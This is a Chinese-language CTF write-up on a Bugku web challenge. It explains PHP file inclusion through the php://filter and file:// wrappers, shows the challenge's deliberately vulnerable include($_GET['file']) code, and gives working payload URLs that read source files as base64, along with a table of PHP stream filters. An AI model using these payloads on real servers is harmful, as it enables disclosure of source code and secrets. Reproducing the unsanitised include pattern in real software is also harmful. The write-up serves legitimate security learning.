前言
学习一下php伪协议php://filter 和file:// ,php:// 可以看成和file:// 平级的
参考
PHP:iconv-Manual
PHP:php://-Manual
PHP:stristr-Manual
PHP:strstr-Manual
谈一谈php://filter的妙用
PHP:可用过滤器列表-Manual
PHP:支持的协议和封装协议-Manual
探索php://filter在实战当中的奇技淫巧
一、题目
原题链接
二、WriteUp
使用到了文件包含漏洞,可以使用下方的payload读取index.php 的源码
http:
?file=php:
得到的是index.php 文件的base64 编码结果,到base64 在线网站解密一下即可得到源码,flag 就在源码里面
三、伪协议分析
[1]. 本地复现
题目的代码如下,可以在本地复现分析分析
<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
?>
</html>
注释如下
有用的代码如下
<?php
error_reporting(0);
$file=$_GET['file'];
include($file);
?>
- 除了
php://fileter 外还可以使用file:// 来读取文件 file:// 不需要传read 或resource 这样的参数,但是后面需要接绝对路径 file:// 如果包含的是一个php 文件时,就会直接执行php 脚本而不是像文本一样打印到浏览器
http:
[2]. 构造过滤器
然后是php://filter ,要读取的文件名是index.php 就用resource=index.php
read 是用来写输出的方式,试过了除base64加密的过滤器都没法读取文件,不清楚为什么 read=convert.base64-encode
过滤器类型 | 过滤器 | 介绍 |
---|
字符串过滤器 | string.rot13 | ROT13加密/解密(凯撒密码的变种),因为字母共26个 假设明文是a ,由a 往后移动13位是n ,所以n 再往后移动13位又变回a | 字符串过滤器 | string.tolower | 小写转换 | 字符串过滤器 | string.toupper | 大写转换 | 字符串过滤器 | string.strip_tags(自 PHP 7.3.0 起废弃) | 去除html和php标记 | 转换过滤器 | convert.base64-encode | base64加密 | 转换过滤器 | convert.base64-decode | base64解密 | 转换过滤器 | convert.quoted-printable-encode | quoted-printable加密,常用在电子邮件中,是MIME编码常见一种表示方法 | 转换过滤器 | convert.quoted-printable-decode | quoted-printable解密,常用在电子邮件中,是MIME编码常见一种表示方法 | 转换过滤器 | convert.iconv.* | 和iconv函数一样,用来字符编码转换的 格式1:convert.iconv.input-encoding.output-encoding 格式2:convert.iconv.input-encoding/output-encoding input-encoding是输入的编码,output-encoding是输出的编码 | 压缩过滤器 | zlib.deflate | 压缩 | 压缩过滤器 | zlib.inflate | 解压 | 压缩过滤器 | bzip2.compress | 压缩 | 压缩过滤器 | bzip2.decompress | 解压 | 加密过滤器 | mcrypt.*(自PHP 7.1.0 起废弃) | 使用 libmcrypt ,提供了对称的加密 格式:mcrypt.ciphername,其中 ciphername是密码的名字 | 加密过滤器 | mdecrypt.*(自PHP 7.1.0 起废弃) | 使用 libmcrypt ,提供了对称的解密 格式:mdecrypt.ciphername,其中 ciphername是密码的名字 |
read 和resource 两个参数需要使用斜杠进行分隔
http://localhost/index.php/?file=php://filter/read=convert.base64-encode/resource=index.php
如果需要再base64 加密一次,就使用管道符| 将两个过滤器分隔开,需要加密几次就放几个过滤器
http://localhost/index.php/?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php
|